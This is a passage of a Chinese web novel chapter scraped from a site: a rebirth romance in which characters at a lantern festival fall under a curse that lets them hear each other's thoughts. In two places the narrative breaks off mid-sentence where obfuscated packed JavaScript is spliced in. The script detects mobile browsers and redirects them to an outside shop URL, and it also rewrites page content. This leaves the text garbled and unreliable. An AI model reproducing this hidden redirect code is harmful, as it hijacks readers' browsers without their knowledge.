不合时宜,她调皮的笑了,“是。”她接过裴棋递过来的花灯,大眼睛亮晶晶的,“我叫徐明堂。公子如何认出我?” 闻言,裴棋空了的手顿了顿,眼神掠过女子头上的发簪,嘴角还在笑,“早便听闻徐府大小姐容貌出众,今日一见,果真如此。” 说着,男人将衣袖中的妖物捏松了些,低声念起晦涩难懂的咒语,一只细小的蛊虫泛着诡异的荧光,带着某种诅咒,翩翩飞向徐再琴的耳蜗,似是等待已久,急不可耐钻入她的脑中。 “阿嚏——”,徐再琴脑子嗡嗡,反手揉了揉鼻下。 裴棋彬彬有礼,“还没同小姐自我介绍,在下姓裴名棋,” “是晔哥的弟弟。” 徐再琴一愣,瞪大眼睛打量起他。 传言,阿姐要嫁之人乃当朝太子,性格跋扈,行事毒辣,毫不怜香惜玉,更值得一提的是,据说,他根本上不了台面,若不是其他皇子离奇惨死,只剩下一位相貌奇丑的弟弟,这太子之位是断然不会落到他手中的。 可看着面前温润如玉的公子哥,除了年纪比她们稍长一些外,再无其他异常。徐再琴缄默一瞬,嘴巴张开又合上,想说什么最终却没有说。忽然,鼻腔中一阵酸涩难捱,徐再琴又打了个喷嚏。 冷空气裹着唾液星子直直溅在对面那人脸上。 裴棋没说什么,只是笑,反倒是徐再琴感到不好意思,道完歉后提着花灯就要走,也正是这个时候,她才惊觉,裴沾雪消失了。 “小姐对我就不曾感到好奇?”徐再琴抬脚想走,裴棋拦住她。 她拗不过他,只好坦白,“公子,方才我骗您的,我不是徐明堂,我是她妹妹,我叫徐再琴。” “什么?”裴棋的反应比想象中还要大,一把拽住她瘦弱的肩膀,抽出她头上的发簪,逼她看向自己的眼睛,“哥不是说这簪子,是徐府大小姐的吗?” 头上一空,徐再琴缓慢的眨了下眼,又去摸了摸脑袋,思量了一会儿,道,“这簪子确实是阿姐的,现不知为何出现在我这儿,许是今早梳妆之时弄混了罢。” 她随意编了个由头,借口想要去寻裴沾雪。 谁料裴棋情绪激动,偏不松手,“那徐明堂现在在何处?” 她现在有点儿清楚传闻是怎么来的了。 徐再琴拧了下眉,余光注意到裴沾雪和水洲都跟在对街的徐明堂身后,不情不愿的伸手一指,“对街,披白狐裘斗篷的,是家姐。” 巧的是,此刻裴晔正好出现了,阴森看着裴棋,“你在干什么?” 裴棋直冒冷汗。 裴晔双眼打转,明白什么,手中花灯被捏成一团。 好啊……连下蛊这点事都办不利索。 届时,徐再琴心中响起一道男人的声音。而这声音不偏不倚,恰好与裴晔如出一辙,内容正是,“好啊……连下蛊这点事都办不利索。” 对面, 徐明堂左看右看,圆眼珠子滴溜溜在二人脸上打转,她双手环抱,身子后倚,“你们二人都跟在我这里作甚,再琴呢?” 水洲抢先一步回答,“二小姐她不会有事的。” “方才甩开我的时候,二小姐跑的可谓是健步如飞。” 水洲手舞足蹈,说得绘声绘色,徐明堂想反驳,却叫现实先给水洲一记响亮的耳光。 主干道上,哪家达官贵人的马儿受惊,陡然间马失前蹄,引起一阵不小的骚乱。 隔空,徐明堂瞧见对街之上,裴晔正抓着再琴的肩膀,不肯撒手。 她几乎是立刻反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491801|202266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应过来,冷声冷气瞪着裴沾雪,“你做了什么?” 照理说,徐再琴和裴晔今日不会起冲突。历史的车轮被裴沾雪搅了局。 裴沾雪笑得人畜无害,“小姐说什么呢?” “奴才不是一直守在小姐身边保护小姐安危吗?” 徐明堂看了他好一会儿,提起裙摆就往对街走,“裴沾雪我告诉你,别以为我不知道你在耍什么鬼把戏。” 好巧不巧,裴晔也冲徐明堂的方向看过来。 落单,生气,要素叠满的节点,简直是天赐良机。 事到如今,裴晔管不了那么多,光明正大给徐明堂下蛊。 奈何徐明堂全然不知真正耍把戏的人是裴晔,自顾自往前走,还没走几步,就被裴沾雪一把拉开,护在身后。 精瘦的背足以将她笼在身下,徐明堂不解的抬头,敲打他的脊背,“裴,”她抿抿嘴,“汀花!你干什么!” 二人横在街中央,裴沾雪既不说话也不躲,一双美人眼死死盯住裴晔的脸。 来不及了,一切都来不及了。裴晔眼睁睁看着蛊虫正中裴沾雪眉心,一寸一寸,慢慢融入他的身体。 裴晔低骂了声,仿似上了瘾,指腹熟稔伸进衣袖,暗暗下定决心。 今日这蛊,他无论如何都要下到徐明堂身上,哪怕是要全城陪葬。 他挑了最悉心培育的那只灵虫,细如发丝、通体泛着淡碧光泽,最终如他所愿,猛地一钻,顺着血脉悄无声息地渗入女子心口。 四人死局,风声骤起,月光逐渐被乌云遮蔽,这个瞬间,古老而神秘的仪式正式拉开帷幕。 上一世,徐明堂和裴晔同时被奸人下蛊。 后来听闻,那蛊的名字,唤“同心蛊”。 顾名思义,即二人能够听见对方的心声,得益于此蛊,二人迅速坠入“爱河”。 时过境迁,今时此日,情况似乎变得有些棘手。 四人大眼瞪小眼,没有一人敢先破此局,后由局外人水洲率先开口,“小姐们不继续逛灯会了?” 听了水洲的话,徐再琴眨眨眼睛,“我来介绍一下,这位公子叫裴棋,是姐夫的弟弟。”说完,徐再琴横插在徐明堂和裴沾雪之间,将徐明堂推到裴晔身边。 裴晔依旧是一双笑眼看人。 四目相对,徐明堂没说话。 ‘一双狗东西。’ 她听到同被下蛊的另外一人。 ‘终于和裴晔成双成对,夫人心中怕是早已乐开了花?’ 是裴沾雪的声音。 措不及防,徐明堂身子一僵,转眼去看那人的模样。 烟花凌空炸开,明明灭灭。夜风骤起,裴沾雪微微侧首,唇角勾起一抹极淡却勾人的笑。 ‘怎么?和孤共中同心蛊,夫人好像很失望呢。’ 12. 第 12 章 第十二章:重生回幼心下茫然(12) 裴晔拍了拍她的肩膀,关切道,“明堂你怎么了?” “没、没怎么。”徐明堂抬头看裴晔,眼神似有似无扫过裴沾雪的脸,一颗心提到嗓子眼。 现在,她由内到外全部透明在裴沾雪眼前了。 反观裴沾雪,他不像徐明堂那么意外,淡定自如同水洲守在几人后边。 ‘夫人真可爱。’ 她瞪了裴沾雪一眼。 四目相对,裴沾雪笑的饶有兴致。 ‘更可爱了。’ 和徐明堂一样不自在的,还有徐再琴,她也中了这巫蛊之术,但从她大惊失色的眼神来看,估计已被下蛊之人厉声警告过不允许将此事泄漏出去。 左右为难,徐再琴窘迫的被夹在两队人之间,踟蹰片刻,轻声唤她姓名,“那个……阿姐。” 徐明堂回眸,偏头表示疑惑。 “我身子骨不太舒服,我们回去吧。”徐再琴小小声说。 正合徐明堂的意。 徐明堂仰起头,欲要和裴晔开口道别,裴晔抢先一步,吩咐裴棋递来一盏花灯,眼尾泛起一抹刻意为之的红晕,“在下倾慕明堂小姐并非只因一纸婚书,相处如此久还未曾给明堂定情信物,这花灯还望明堂收下。” 说来也怪,裴棋虽为裴晔的弟弟,但是仿佛将裴晔视为主子,自己是跟班,每个动作都小心翼翼,显得拘束又不自在。 定情信物? 徐明堂接过道谢,“谢太子殿下。” 回府路上,情况也没怎么好转。 四人之间,静得不像话。 徐明堂很努力的克制自己,不让自己去想任何事情,避免叫裴沾雪听了去。 也不知道怎么搞的,不想干什么,脑子就偏偏要干什么。 不知不觉,徐明堂想起自己送给裴沾雪的那枚香囊,歪七扭八也好,做工粗糙也罢,但确实是她亲手缝的,为此还戳破了几根手指,当然,除了香囊是她绣的,就连里面裹着的毒药都是她亲手下的。 不行,她不能想这个!若是叫裴沾雪知道此事,岂不又要来抹她脖子? 街上小贩吆喝买卖,她愣是一个字都没听进去,舔了舔嘴唇,她陡然停下脚步,定定看着裴沾雪的眼睛,“我突然想起来,爹此前吩咐我置办一些东西,夜色深了,我怕一个人不安全,汀花,你陪我一道去吧。另外,水洲,你负责二小姐的安危。” 照理说,如若真就放任裴沾雪和别的女人独处,徐再琴是断然不会同意的,但此刻的她仿佛被吓傻了,魂不守舍的,整个人懵懵懂懂,身上还在发抖,最后还是由水洲背着她打道回府。 最终,繁华街道上只剩二人。裴沾雪眼神淡然,凝视前方,佯装漫不经心的说道,“看来夫人很喜欢同孤独处。”男人嘴角勾起一抹不易觉察的笑意。 徐明堂没搭理他,一把拽住其衣袖,走到一处无人小巷后才松手,伸手在他面前,“我送你的香囊做工粗糙,还请物归原主。” 那儿没点灯,漆黑黑的,少年站在月光与黑暗之间,阴美的皮囊被光线切割成黑白两道,竟当真如男鬼般吊诡,裴沾雪垂眼,盯着那块被她揪住的衣摆笑,好一会儿后,才居高临下俯视她,缄默一瞬,阴森森道,“怎么?不舍得了?” 徐明堂心里“咯噔”一声,心虚的撇开视线,“什么舍得舍不得的?我听不懂你在说什么。香囊还我。” 女人的手依旧倔强的停在原处。 下一秒,她听见裴沾雪的嗤笑,以及更为赤/裸的解释,“夫人不是想杀我吗?” “用香囊里的毒。” 被抓包了, 她没话说了。 就在她脑中飞速旋转,想着如何搪塞裴沾雪的时候,一股熟悉的檀香迅速将她包围。 敏感的身体几乎是立刻觉察到少年俯身凑近,而后徐明堂腰间一紧,她转脸回眸,裴沾雪那张俊脸与她近在咫尺,她几乎不敢眨一下眼睛,仿佛只要眨一下,两人的睫毛就会相碰。 掌心一沉,多出一个香囊,不过,不是她送他的那一个,“这是?”徐明堂问。 长睫毛抖落几下,徐明堂看向裴沾雪的眼睛,届时裴沾雪已松开她,直起身子,恢复高高在上的姿态,他惜字如金吐出两个字,“回礼。” 尾音落下,她看看裴沾雪,又看看那枚香囊,沉默了。 “夫人放心吧,”裴沾雪漫不经心,“孤没夫人那么低级,” “没毒。” 那条巷子人烟罕至,静的不像话,静的似乎能听见二人的心跳声,这时候,裴沾雪淡淡开口,用小臂模拟着徐明堂的腰肢,“看来夫人这些年胃口不错,细腰软肉,孤很喜欢。” 徐明堂沉默了。 她已经不知道该说些什么了。她的这位前郎君已经疯到了一定境界,疯到就算现在她立刻给他一巴掌,他都会双眼猩红,胸膛微喘,笑着说这是她爱他的表现。 * 夜色正浓几家愁,徐明堂躺在床上,翻来覆去睡不着,手心还攥着裴沾雪给她的香囊。 丝绸锦缎,海沫绿中带一点淡淡的蓝调,上面的花朵栩栩如生,用金丝银线交织缠绕,绣工细腻。 要想知道这枚香囊的来历,还得把时间追溯到几天以前。 裴沾雪经过徐明堂房间外的时候,曾恰好撞见她正在绣香囊,他心下欢喜,欢喜夫人竟愿意为他亲手做些什么。哪怕他从一开始就知道那香囊里裹着的全是来自夫人的杀意。 但那又如何呢? 她愿意亲手给他做东西,又何尝不是另外一种爱呢? 自从那之后,水洲就常能看到高高在上的仙君起早贪黑,目的仅是为了缝制一个香囊而已。他实在看不过去,于是开口问道,“恕水洲多嘴。不过仙君,那女子既然已经不记得您了,你又何苦为她做到这般田地?” 闻言,裴沾雪手上动作一停,思绪跟着飘回到很久很久以前,“不记得又何妨。只要我能永远陪在她身边,我便知足了。” 水洲打抱不平道,“仙君,您可是堂堂仙君呀,放眼整个天庭,也没有哪位仙女敢这般作践仙君。仙君又如何能够这般作践自己呢?您看看你的手,那是战神的手,怎么能用来做这些姑娘家家的活呢?” “好了。”裴沾雪打断他,“别再说了。” 为她,他心甘情愿。 不过这些事情,徐明堂没有全知视角,断然是不知道的,所以她断定—— 啧, 这香囊定是裴沾雪在商贩那儿买的。 徐明堂想起自己绣的那一枚。 对了,他们中了同心蛊,她可以问问他! ‘裴沾雪,你可能听见我说话?’ 对面几乎是立刻回应。 ‘夫人夜半不眠,可是孤枕难眠,想叫孤前来作陪?’ ……好吧,是她错了,她就多余开口去问这个疯子。 于是乎,徐明堂翻了个身,合上眼睛,自顾自想。 总叫他听见我的心声也不是好事,明日定得寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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可行是可行,就是难度系数太高。 徐明堂似乎忘记了,现如今她的任何一点点心思就好像是贴在京城布告栏中的告示,裴沾雪悉数尽知。 包扎好后,裴沾雪非常乐意与她共同商讨这个大计,于是,他将双手放在女子身侧,缓慢起身,贴近她的脸。 他这一行为实在突发,徐明堂双手后撑,膝盖微屈,吓得连连往后退。 少年得寸进尺,双膝跪在床上,也跟着她往后。 直到脊背靠在墙上,徐明堂退无可退,才出言制止道,“裴、裴沾雪,你不觉得这样很不合适吗?” 三更,屋内灯火通明。 烛光摇曳,将二人姿态悉数映在白白的墙面上。 裴沾雪似一只猎物的蛇,慢条斯理把玩她最后的理智,“夫人不是想窥探孤的心吗?离得近些,会不会方便些呢?” 近在咫尺,徐明堂偏开头,温热呼吸洒在脖颈。 裴沾雪眯了眯眼,停在原位,“怎么?靠近些而已,夫人便不习惯了?” 他不带情/欲的说出违/禁之语,他素来擅长于此。 “哪有你我二人从前玩得花?” 可徐明堂却容不得他大放厥词,伸手捂住裴沾雪的唇。 少年唇瓣微凉,潮湿如雾。 如此焦灼的情形之下,他就这么看着她,看着她,而后,倏忽间笑了,笑着伸出舌头,舔了舔她的掌心。